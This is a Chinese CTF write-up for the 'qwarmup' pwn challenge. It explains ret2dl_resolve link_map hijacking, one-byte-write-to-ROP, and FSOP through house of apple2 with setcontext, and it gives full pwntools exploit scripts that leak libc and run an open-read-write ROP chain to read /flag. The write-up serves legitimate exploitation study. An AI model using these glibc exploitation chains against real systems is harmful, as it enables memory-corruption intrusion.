强网杯qwarmup

qwarmup

知识点

malloc

malloc 内存分配位置及进程内存布局:https://blog.csdn.net/zhouguoqionghai/article/details/112771864

简而言之:当malloc申请一个大内存时,系统通过mmap进行内存分配,此时的堆块,可以申请到libc.so.6附近

本题中,malloc(0xf0000)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x564d47886000 0x564d47887000 r--p 1000 0 /home/chen/桌面/match/qw_s6/qwarmup/qwarmup
0x564d47887000 0x564d47888000 r-xp 1000 1000 /home/chen/桌面/match/qw_s6/qwarmup/qwarmup
0x564d47888000 0x564d47889000 r--p 1000 2000 /home/chen/桌面/match/qw_s6/qwarmup/qwarmup
0x564d47889000 0x564d4788a000 r--p 1000 2000 /home/chen/桌面/match/qw_s6/qwarmup/qwarmup
0x564d4788a000 0x564d47890000 rw-p 6000 3000 /home/chen/桌面/match/qw_s6/qwarmup/qwarmup
0x564d47d96000 0x564d47db7000 rw-p 21000 0 [heap]

0x7fe747a6b000 0x7fe747b5f000 rw-p f4000 0 [anon_7fe747a6b] --- heap_base+0x10

0x7fe747b5f000 0x7fe747b8b000 r--p 2c000 0 /home/chen/桌面/match/qw_s6/qwarmup/libc.so.6
0x7fe747b8b000 0x7fe747cf8000 r-xp 16d000 2c000 /home/chen/桌面/match/qw_s6/qwarmup/libc.so.6
0x7fe747cf8000 0x7fe747d4e000 r--p 56000 199000 /home/chen/桌面/match/qw_s6/qwarmup/libc.so.6
0x7fe747d4e000 0x7fe747d51000 r--p 3000 1ee000 /home/chen/桌面/match/qw_s6/qwarmup/libc.so.6
0x7fe747d51000 0x7fe747d54000 rw-p 3000 1f1000 /home/chen/桌面/match/qw_s6/qwarmup/libc.so.6

0x7fe747d54000 0x7fe747d63000 rw-p f000 0 [anon_7fe747d54]
0x7fe747d63000 0x7fe747d65000 r--p 2000 0 /home/chen/桌面/match/qw_s6/qwarmup/ld-linux-x86-64.so.2
0x7fe747d65000 0x7fe747d8c000 r-xp 27000 2000 /home/chen/桌面/match/qw_s6/qwarmup/ld-linux-x86-64.so.2
0x7fe747d8c000 0x7fe747d98000 r--p c000 29000 /home/chen/桌面/match/qw_s6/qwarmup/ld-linux-x86-64.so.2
0x7fe747d98000 0x7fe747d9a000 r--p 2000 34000 /home/chen/桌面/match/qw_s6/qwarmup/ld-linux-x86-64.so.2
0x7fe747d9a000 0x7fe747d9c000 rw-p 2000 36000 /home/chen/桌面/match/qw_s6/qwarmup/ld-linux-x86-64.so.2
0x7ffc99a12000 0x7ffc99a33000 rw-p 21000 0 [stack]
0x7ffc99a9f000 0x7ffc99aa3000 r--p 4000 0 [vvar]
0x7ffc99aa3000 0x7ffc99aa5000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]

根据heap_base,计算偏移

1
2
3
4
5
6
7
8
9
# libc - heap offset
libc_base = 0xf4000 - 0x10

ld_base = 0x325000 - 0x10

# link_map offset
link_map_offset = 0x3602e0 - 0x10

#`pwndbg> p _rtld_global,得到link_map地址

ret2dl_reslove

学习:https://syst3mfailure.io/ret2dl_resolve/

https://www.anquanke.com/post/id/184099#h2-4

_dl_runtime_reslove分析以及ret2dlreslove

了解在延迟加载期间查找函数时使用的不同结构。

跟了下这几篇博客, 然后自己调了调

_rtld_global指向link_map

  • ptype struct link_map:查看link_map定义

  • p &((struct link_map*)0)->l_info:查看l_info成员偏移

  • p &((struct link_map*)0)->l_info

  • pwndbg> p _rtld_global –> _ns_loaded = 0x7f814c8852e0 得到link_map地址

  • pwndbg> p *(struct link_map*) 0x7f814c8852e0 查看link_map结构体内指向地址

One byte to ROP

了解下原理和思路

https://hackmd.io/@pepsipu/ry-SK44pt(原作者链接,前两天看链接挂了,后面又好了)

https://github.com/LMS57/Nightmare-Writeup(另一个作者,另一个思路)

qwarmup思路:

  1. 利用_dl_fixup_函数,通过修改link_map->l_addr,使回填的函数填到write@got某个偏移的地方–由于没有正确返回got,所以每次都会查找

    上述文章将偏移修改到_Exit@got,此题可以利用libc地址前面8位的高位为0的特点,覆盖在bss段的size,让程序进入死循环。

  2. _dl_lookup_symbol_x函数的第一个参数就是待查找函数的函数名,而sym->st_name对于同一个函数而言是一个固定值(write = 34),而strtab则是来源于于libc上的全局结构体link_map

    可以劫持link_map->l_info[DT_STRTAB],使其指向可控内存段,达到任意函数调用。

  3. DT_STRTAB在elf中,由于没有泄露任何地址,目前是通过偏移进行任意地址写,这里找到DT_DEBUG这个表是指向libc地址,可以通过改写最低位,使link_map->l_info[DT_STRTAB]指向libc地址,然后我们在DT_DEBUG+34的地方写入需要调用的函数。

IO流

仅作记录

在调试过程中,发现之前不懂的一点: 在伪造/修改IO结构体后,触发_IO_flush_all_lookup时,设置不同IO_vtable,最后寄存器都是如何设置的

IO链+ROP链图解

思路部分会讲解该图的实现

img

pwndbg命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#定位_IO_2_1_stdout结构体
p stdout
ptype stdout

#查看_IO_2_1_stdout内部的各处内容
p *(struct _IO_FILE_plus *) stdout
x /35xg 0x7fxxxxxxx

#计算stdout内部变量的地址/偏移
p &stdout->_flags
p &stdout->_mod
p &stdout->_unused2 + 20 #vtable
p &stdout->_wide_data #_wide_data

#查看stdout对应的wide_data结构体内容,该题对应的是_IO_wide_data_1
p *(struct _IO_wide_data *) stdout

#查看对应wide_data内部变量地址/偏移
p &stdout->_wide_data->_IO_write_base
p &stdout->_wide_data->_IO_read_base
p &stdout->_wide_data->_wide_vtable

调试流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#通过 _dl_fixup触发_IO_flush_all
write
_IO_wfile_overflow
_IO_wdoallocbuf
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
Magic
rdx = [rdi+8] (rdx = heap_base+0x10) --> call [rdx+0x20]
setcontext+61
orw

► 0x55fe7ca9e4d1 call write@plt <write@plt>

► 0x7fe4a7653c6f <_IO_flush_all_lockp+207> call qword ptr [rax + 0x18] <_IO_wfile_overflow>

► 0x7fe4a764cd20 <_IO_wfile_overflow+544> call _IO_wdoallocbuf <_IO_wdoallocbuf>

► 0x7fe4a764a6e8 <_IO_wdoallocbuf+40> call qword ptr [rax + 0x68] <getkeyserv_handle+528>
rax: 0x7fe4a77c09a0 (_IO_wide_data_1)
rax + 0x68: Magic

► 0x7fe4a77151e8 <getkeyserv_handle+536> call qword ptr [rdx + 0x20] <setcontext+61>
rdx: 0x7fe4a74da000(heap_base+0x10)

house of apple2的链子1–条件

  • flags: ~(2 | 0x8 | 0x800)
  • rdi+8: heap_base+0x10
  • vtable: _IO_wfile_jumps
  • _IO_write_ptr>_IO_write_base
  • _wide_data不变,即为_IO_wide_data_1
    • _wide_data->_IO_write_base: 0
    • _wide_data->_IO_buf_base: 0
    • _wide_data->_wide_vtable: heap_base+0x30
    • _wide_data->_wide_vtable->doallocate : heap_base+0x30+0x68 : Magic
1
2
3
4
5
6
7
8
9
10
11
12
# _IO_2_1_stdout_
write(0x2E7770 , p64(c_uint32(~(2 | 0x8 | 0x800)).value)) #flags: rdi
write(0x2E7770+8, p64(heap_base+0x10)) #[rdi+8]
write(0x2E7770+216, p64(_IO_wfile_jumps)) #vtable
write(0x2E7770+0x20, p32(0)) # _IO_write_base
write(0x2E7770+0x28, p32(0x1)) # _IO_write_ptr>_IO_write_base

# _IO_2_1_stdout_ -> _wide_data
#write(0x2E69A0, ) #_IO_wide_data_1
write(0x2E6990+24, p8(0)) #_wide_data->_IO_write_base
write(0x2E6990+48, p8(0)) #_wide_data->_IO_buf_base
write(0x2E6990+224, p64(heap_base+0x30)) #_wide_data->_wide_vtable

_IO_2_1_stdout结构体内容 && 源码

1
2
3
4
5
6
7
8
9
10
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

//_IO_2_1_stdout_+0xc0: _mode<=0
//_IO_2_1_stdout_+0x28: _IO_write_ptr > _IO_2_1_stdout_+0x20: _IO_write_base
//第一次没满足条件,改了之后就可以继续跟进了

修改后的IO内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
pwndbg> x /35xg 0x7fd340863780
0x7fd340863780 <_IO_2_1_stdout_>: 0x00000000fffff7f5 0x00007fd34057c000
0x7fd340863790 <_IO_2_1_stdout_+16>: 0x00007fd340863803 0x00007fd340863803
0x7fd3408637a0 <_IO_2_1_stdout_+32>: 0x00007fd300000000 0x00007fd300000001
0x7fd3408637b0 <_IO_2_1_stdout_+48>: 0x00007fd340863804 0x00007fd340863803
0x7fd3408637c0 <_IO_2_1_stdout_+64>: 0x00007fd340863804 0x0000000000000000
0x7fd3408637d0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7fd3408637e0 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007fd340862aa0
0x7fd3408637f0 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7fd340863800 <_IO_2_1_stdout_+128>: 0x0000000000000000 0x00007fd340865750
0x7fd340863810 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7fd340863820 <_IO_2_1_stdout_+160>: 0x00007fd3408629a0 0x0000000000000000
0x7fd340863830 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7fd340863840 <_IO_2_1_stdout_+192>: 0x0000000000000000 0x0000000000000000
0x7fd340863850 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007fd340864040

pwndbg> p *(struct _IO_FILE_plus *) stdout
file = {
_flags = -2059,
_IO_read_ptr = 0x7fd34057c000 "",
_IO_read_end = 0x7fd340863803 <_IO_2_1_stdout_+131> "",
_IO_read_base = 0x7fd340863803 <_IO_2_1_stdout_+131> "",
_IO_write_base = 0x7fd300000000 <error: Cannot access memory at address 0x7fd300000000>,
_IO_write_ptr = 0x7fd300000001 <error: Cannot access memory at address 0x7fd300000001>,
_IO_write_end = 0x7fd340863804 <_IO_2_1_stdout_+132> "",
_IO_buf_base = 0x7fd340863803 <_IO_2_1_stdout_+131> "",
_IO_buf_end = 0x7fd340863804 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fd340862aa0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7fd340865750 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7fd3408629a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fd340864040 <__GI__IO_wfile_jumps>
}

syscall; ret

开始想调用open函数进行orw的,但是后面发现不行,就改成syscall

在 vsyscall 中的固定地址处找到 syscall&return 代码片段

但是目前它已经被 vsyscall-emulatevdso 机制代替了。此外,目前大多数系统都会开启 ASLR 保护,所以相对来说这些 gadgets 都并不容易找到。

在libc中人工查找,在_lll_lock_wake_privat函数找到了对应的gadget

(有篇文章说get_uid函数,里面存在syscall; ret,但是此处没有该函数)

分析

复现:https://4f-kira.github.io/2022/08/07/qwb2022/#qwarnup

https://kagehutatsu.com/?p=723

保护&&沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
chen@chen:~/桌面/match/qw_s6/qwarmup$ checksec ./qwarmup
[*] '/home/chen/桌面/match/qw_s6/qwarmup/qwarmup'
Arch: amd64-64-little
RELRO: Partial RELRO //可以改got表
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

chen@chen:~/桌面/match/qw_s6/qwarmup$ seccomp-tools dump ./qwarmup
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 //不能改架构
0002: 0x20 0x00 0x00 0x00000000 A = sys_number //只允许orw + exit
0003: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0011
0004: 0x15 0x06 0x00 0x00000000 if (A == read) goto 0011
0005: 0x15 0x05 0x00 0x00000001 if (A == write) goto 0011
0006: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0011
0007: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0011
0008: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0011
0009: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char v4; // [rsp+7h] [rbp-19h] BYREF
__int64 buf; // [rsp+8h] [rbp-18h] BYREF
_BYTE *v6; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
init_sandbox();
read(0, &size, 4uLL); //第一次输入,四字节大小, size在bss段
v6 = malloc((unsigned int)size); //近似于任意大小的堆块申请, 申请到libc附近
if ( !v6 )
_Exit(0);
do
{
buf = 0LL;
v4 = 0;
read(0, &buf, 8uLL); //第二次输入,控制堆v6的偏移
read(0, &v4, 1uLL); //第三次输入,覆写一字节
v6[buf] = v4; //越界写一字节,改size ,改got表
write(1, "Success!", 8uLL);
HIWORD(v3) = WORD1(size);
LOWORD(v3) = 0;
}
while ( !v3 ); //如果size<0x10000,无限循环
_Exit(0);
}

思路

跟wp思路,本机编译的libc2.35,改绑之后的偏移和wp对不上,根据自己的搓本地

代码审计完:①一个大地址的malloc

②依托size判断–循环:一字节越界写

③没有输出函数

  1. malloc一块大内存,通过mmap进行内存分配,从而实现堆块和libc动态库的重叠,通过一字节的越界写,修改size<0x10000,控制循环一直进行

    解析:payload = write(link_map_offset, p8(size_offset-4 - elf.got["write"]))

    在ret2dl_reslove中:伪造 link_map->l_addr为 想要执行的目标函数 与libc中已解析函数与的偏移值 (前者-后者)

    通过控制偏移到link_map,修改link_map-->l_addrsize_offset-4 - elf.got["write"]),实现覆写size_offset-4elf.got["write"]四字节

  2. 此后,在每次循环中,都可以对任意libc地址写一字节

    • ret2dl_reslove:通过link_map-->l_addr

    • _dl_fixup_查找完函数地址后,会将函数地址回填到got表,那么可以通过修改link_map->l_addr,使回填的函数填到write@got某个偏移的地方,但是不在got上,所以此后每次执行write,都会进行symbol查找

  3. 篡改_IO_stdout_2_1

    解析:write(0x30e770, p32(0xfbad1800))

    write(0x30e770+0x28, b'\xff')

    计算偏移,覆写flags以及_IO_write_ptr

  4. 调用_IO_flush_all刷新IO流,泄露libc

    • _dl_lookup_symbol_x函数的第一个参数就是待查找函数的函数名,而sym->st_name对于同一个函数而言是一个固定值(write = 34),而strtab则是来源于于libc上的全局结构体link_map,那么可以劫持link_map->l_info[DT_STRTAB],使其指向可控内存段,达到任意函数调用。
    • DT_STRTAB在elf中,由于没有泄露任何地址,目前是通过偏移进行任意地址写,这里找到DT_DEBUG这个表是指向libc地址,可以通过改写最低位,使link_map->l_info[DT_STRTAB]指向libc地址,然后我们在DT_DEBUG+34的地方写入需要调用的函数。

    解析:payload = write(0x360118-0x10+34, b"_IO_flush_all")

    DT_DEBUG+34写入_IO_flush_all (p &((struct link_map*)0)->l_info[24], offset = 0x100)

    payload = write(link_map_offset+0x40+5*0x8, b'\xb8', False)

    DT_STRTAB指向DT_DEBUG: _IO_flush_all

  5. FSOP:控制IO结构体,目的是跳转到heap

    通过libc任意写,修改_IO_2_1_stdout,通过触发_IO_flush_all刷新IO流,执行修改后的IO

    • flags: ~(2 | 0x8 | 0x800)
    • _IO_read_ptr: heap_base+0x10
    • vtable: _IO_wfile_jumps
    • _IO_write_ptr>_IO_write_base
    • _wide_data不变,即为_IO_wide_data_1
      • _wide_data->_IO_write_base: 0
      • _wide_data->_IO_buf_base: 0
      • _wide_data->_wide_vtable: heap_base+0x30
      • _wide_data->_wide_vtable->doallocate : heap_base+0x30+0x68 : Magic
  6. 布置ROP链–magic_gadge + setcontext + orw ,getshell

    • Magic: mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
    • setcontext+61
    • ORW

    对于上面FSOP的布置,进一步的进行解释:

    修改了IO结构体,其中的_wide_data->vtable指向了可控堆块A,_wide_data->vtable->doallocate指向A+0x68位置

    _wide_data->vtable->doallocate是rip地址,设置为Magic

    此时发现rdi寄存器,存放的是_IO_2_1_stdout地址,则步置rdi+8处内容为heap_base+0x10,使得rdxheap_base+0x10

    布置[rdx+0x20]setcontext+61,之后按照house of apple2的链子开始执行

流程图

img

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
# -*- coding: UTF-8 -*-
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64')
context.log_level = "debug"


libc = ELF('./libc.so.6')
banary = "./qwarmup"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)


def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

def write(offset, bytes, tag=True):
for i, byte in enumerate(bytes):
p.send(p64(offset + i))
p.send(p8(byte))
if tag:
p.recvuntil(b"Success!")
#---------------------- 1.pwn Size & leak_libc -------------------
#0.malloc
s(p32(0xf0000))

#1. pwn size
libc_offset = 0xf4000 - 0x10 #vmmap
ld_offset = 0x2F8000 - 0x10 #vmmap
size_offset = 0x408c #IDA, elf_base+offset

link_map_offset = 0x3302e0 - 0x10 #p _rtld_global
print(hex(elf.got["write"]))


# write@got: 0x00007fxx xxxxxxxx
# &size-4 == write@got
write(link_map_offset, p8(size_offset-4 - elf.got["write"]))


#2.leak_libc
_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
lg('_IO_2_1_stdout_')
write(0x2e7770, p32(0xfbad1800)) # _flags
write(0x2e7770+0x28, b'\xff') # _IO_write_ptr

# DT_STRTAB+34 = write => DT_DEBUG+34 = call_func
write(0x330108 + 0x22, b"_IO_flush_all") # r_debug+34

# trigger _IO_flush_all
write(link_map_offset+0x40+5*0x8, b'\xb8', False) #DT_STRTAB --> DT_DEBUG
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1F5750
lg('libc_base')

#back
write(link_map_offset+0x40+5*0x8, b'\x78')

#----------------- 2. FSOP --> ROP ----------------
heap_base = libc_base - 0xf4000 - 0x10
lg('heap_base')
orw_base = heap_base + 0x110 - 0x18

setcontext_61 = libc_base + libc.sym['setcontext'] +61
pop_rax = libc_base + 0x00000000000446a0
pop_rdi = libc_base + 0x2da82
pop_rsi = libc_base + 0x37bea
pop_rdx_r12 = libc_base + 0x1070f1 #pop rdx ; pop r12 ; ret
ret = libc_base + 0x2c7ad
syscall_ret = libc_base + 0x0000000000088206


read_addr = libc_base + libc.sym['read']
write_addr= libc_base + libc.sym['write']

#0x00000000001471e0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
Magic = libc_base + 0x1471e0

_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
lg('_IO_wfile_jumps')

# 1. FSOP --> IO --> heap
# _IO_2_1_stdout_
write(0x2E7770 , p64(c_uint32(~(2 | 0x8 | 0x800)).value)) #flags
write(0x2E7770+8, p64(heap_base+0x10)) #[rdi+8]
write(0x2E7770+216, p64(_IO_wfile_jumps)) #vtable
write(0x2E7770+0x20, p32(0)) # _IO_write_base
write(0x2E7770+0x28, p32(0x1)) # _IO_write_ptr>_IO_write_base

# _IO_2_1_stdout_ -> _wide_data
#write(0x2E69A0, ) #_IO_wide_data_1
write(0x2E6990+24, p8(0)) #_wide_data->_IO_write_base
write(0x2E6990+48, p8(0)) #_wide_data->_IO_buf_base
write(0x2E6990+224, p64(heap_base+0x30)) #_wide_data->_wide_vtable: rdi


# 2. ROP -- ORW
flag_addr = heap_base + 0x20
orw_addr = heap_base + 0xC0

rop = flat({
0x00: [b'/flag\0\0\0', Magic],
0x10: [setcontext_61, heap_base+0x10],
0x20: [0, 0],
0x30: [0, 0],
0x40: [0, 0],
0x50: [0, 0],
0x60: [0, orw_addr],
0x70: [0, Magic],
0x80: [0, 0], # open('/flag',0,0), BUG
0x90: [orw_addr, ret],
# open('/flag\0\0\0', 0)
0xa0: [pop_rdi, flag_addr],
0xb0: [pop_rsi, 0],
0xc0: [pop_rdx_r12, 0],
0xd0: [0xdeadbeef, pop_rax],
0xe0: [2, syscall_ret],
# read(3,&buf,0xff)
0xf0: [pop_rdi, 3],
0x100: [pop_rsi, flag_addr+0x300],
0x110:[pop_rdx_r12, 0xff],
0x120:[0, read_addr],
# write(1,&buf,0xff)
0x130:[pop_rdi, 1],
0x140:[pop_rsi, flag_addr+0x300],
0x150:[pop_rdx_r12, 0xff],
0x160:[0,write_addr]
})
write(0,rop)


#debug()

# 3. trigger _IO_flush_all
write(link_map_offset+0x40+5*0x8, b'\xb8', False)

pi()

废弃链子

前置条件:rdx不为0,看一个师傅的链子是可以的,但是本地调试的时候,调进IO函数前,rdx刚好为0,所以换条链子

画了个流程图,还是存一下

img

  1. FSOP:控制IO结构体,目的是跳转到heap

    为了方便修改flags,利用house of apple2的链子3:控制_IO_wdefault_xsgetn函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    '''_flags: 0x800

    vtable: _IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn即可

    _mode: 大于0,即满足*(fp + 0xc0) > 0

    _wide_data: 可控堆地址A,即满足*(fp + 0xa0) = A
    _wide_data->_IO_read_end == _wide_data->_IO_read_ptr设置为0,即满足*(A + 8) = *A
    _wide_data->_IO_write_ptr > _wide_data->_IO_write_base,即满足*(A + 0x20) > *(A + 0x18)
    _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
    _wide_data->_wide_vtable->overflow设置为地址C用于劫持RIP,即满足*(B + 0x18) = C
    '''
    #定位_IO_2_1_stdout_: pwndbg> p stdout && pwndbg> ptype stdout
    #flags pwndbg> p &stdout->_flags
    write(0x2E7770 , p64(0x800))
    #_mode pwndbg> p &stdout->_mode
    write(0x2E7770+192 , p8(0xff))
    #vtable pwndbg> p &stdout->_unused2 + 20
    write(0x2E7770+216 , p64(_IO_wstrn_jumps+0x28)) #_IO_wdefault_xsgetn - _IO_wstrn_overflow
    #_IO_save_base: rdi
    write(0x2E7770+72, p64(heap_base))

    #_wide_data pwndbg> p &stdout->_wide_data
    #write(0x2E7770+160, p64(heap_base))

    #查看_IO_2_1_stdout结构体 p *(struct _IO_FILE_plus *) stdout
    #查看_wide_data结构体 p *(struct _IO_wide_data *) stdout
    #_wide_data->_IO_read_end p &stdout->_wide_data->_IO_read_end
    write(0x2E6998, p8(0))
    #_wide_data->_IO_write_ptr >
    write(0x2E6998+24, p8(0xff))
    #_wide_data->_wide_vtable->overflow
    write(0x2E6998+216, p64(heap_base+0x10))

  2. 布置ROP链–setcontext + magic_gadget + orw ,getshell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    flag_addr = heap_base + 0x20
    orw_addr = heap_base + 0xC0
    pause()
    rop = flat({
    0x00: [b'/flag\x00\x00\x00', Magic],
    0x10: [setcontext_61, heap_base+0x10],
    0x20: [0, 0],
    0x30: [0, 0],
    0x40: [0, 0], # '/flag'
    0x50: [0, 0],
    0x60: [0, orw_addr],
    0x70: [0, 0],
    0x80: [0, 0], # open('/flag',0,0)
    0x90: [orw_addr, ret],
    0xa0: [pop_rdi, flag_addr], # open('/flag\0\0\0', 0)
    0xb0: [pop_rsi, 0],
    0xc0: [open_addr, pop_rdi], # read(3,&buf,0xff)
    0xd0: [3, pop_rsi],
    0xe0: [flag_addr+0x300, pop_rdx_r12],
    0xf0: [0xff, 0], # write(1,&buf,0x40)
    0x100:[read_addr, pop_rdi],
    0x110:[1, pop_rsi],
    0x120:[flag_addr+0x300, pop_rdx_r12],
    0x130:[0xff, 0],
    0x140:[write_addr, 0],
    })
    write(0,rop)
  3. 触发_IO_flush_all

    write(link_map_offset+0x40+5*0x8, b'\xb8', False)

调试流程

1
2
3
4
5
6
7
8
9
10
11
12
write
_IO_wdefault_xsgetn
__wunderflow
_IO_switch_to_wget_mode
_IO_WOVERFLOW
*(fp->_wide_data->_wide_vtable + 0x18)(fp)

0x55bf306484d1 call write@plt <write@plt>

0x7f7d342e8c6f <_IO_flush_all_lockp+207> call qword ptr [rax + 0x18] <_IO_wdefault_xsgetn>


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
# -*- coding: UTF-8 -*-
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64')
context.log_level = "debug"


libc = ELF('./libc.so.6')
banary = "./qwarmup"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)


def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

def write(offset, bytes, tag=True):
for i, byte in enumerate(bytes):
p.send(p64(offset + i))
p.send(p8(byte))
if tag:
p.recvuntil(b"Success!")
#---------------------- 1.pwn Size & leak_libc -------------------
#0.malloc
s(p32(0xf0000))

#1. pwn size
libc_offset = 0xf4000 - 0x10 #vmmap
ld_offset = 0x2F8000 - 0x10 #vmmap
size_offset = 0x408c #IDA, elf_base+offset

link_map_offset = 0x3302e0 - 0x10 #p _rtld_global
print(hex(elf.got["write"]))


# write@got: 0x00007fxx xxxxxxxx
# &size-4 == write@got
write(link_map_offset, p8(size_offset-4 - elf.got["write"]))


#2.leak_libc
_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
lg('_IO_2_1_stdout_')
write(0x2e7770, p32(0xfbad1800)) # _flags
write(0x2e7770+0x28, b'\xff') # _IO_write_ptr

# DT_STRTAB+34 = write => DT_DEBUG+34 = call_func
write(0x330108 + 0x22, b"_IO_flush_all") # r_debug+34

# trigger _IO_flush_all
write(link_map_offset+0x40+5*0x8, b'\xb8', False) #DT_STRTAB --> DT_DEBUG
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1F5750
lg('libc_base')

#back
write(link_map_offset+0x40+5*0x8, b'\x78')

#----------------- 2. FSOP --> ROP ----------------
heap_base = libc_base - 0xf4000 - 0x10
lg('heap_base')
orw_base = heap_base + 0x110 - 0x18

setcontext_61 = libc_base + libc.sym['setcontext'] +61
svcudp_reply26 = libc_base + libc.sym['svcudp_reply'] +26
pop_rax = libc_base + 0x00000000000446a0
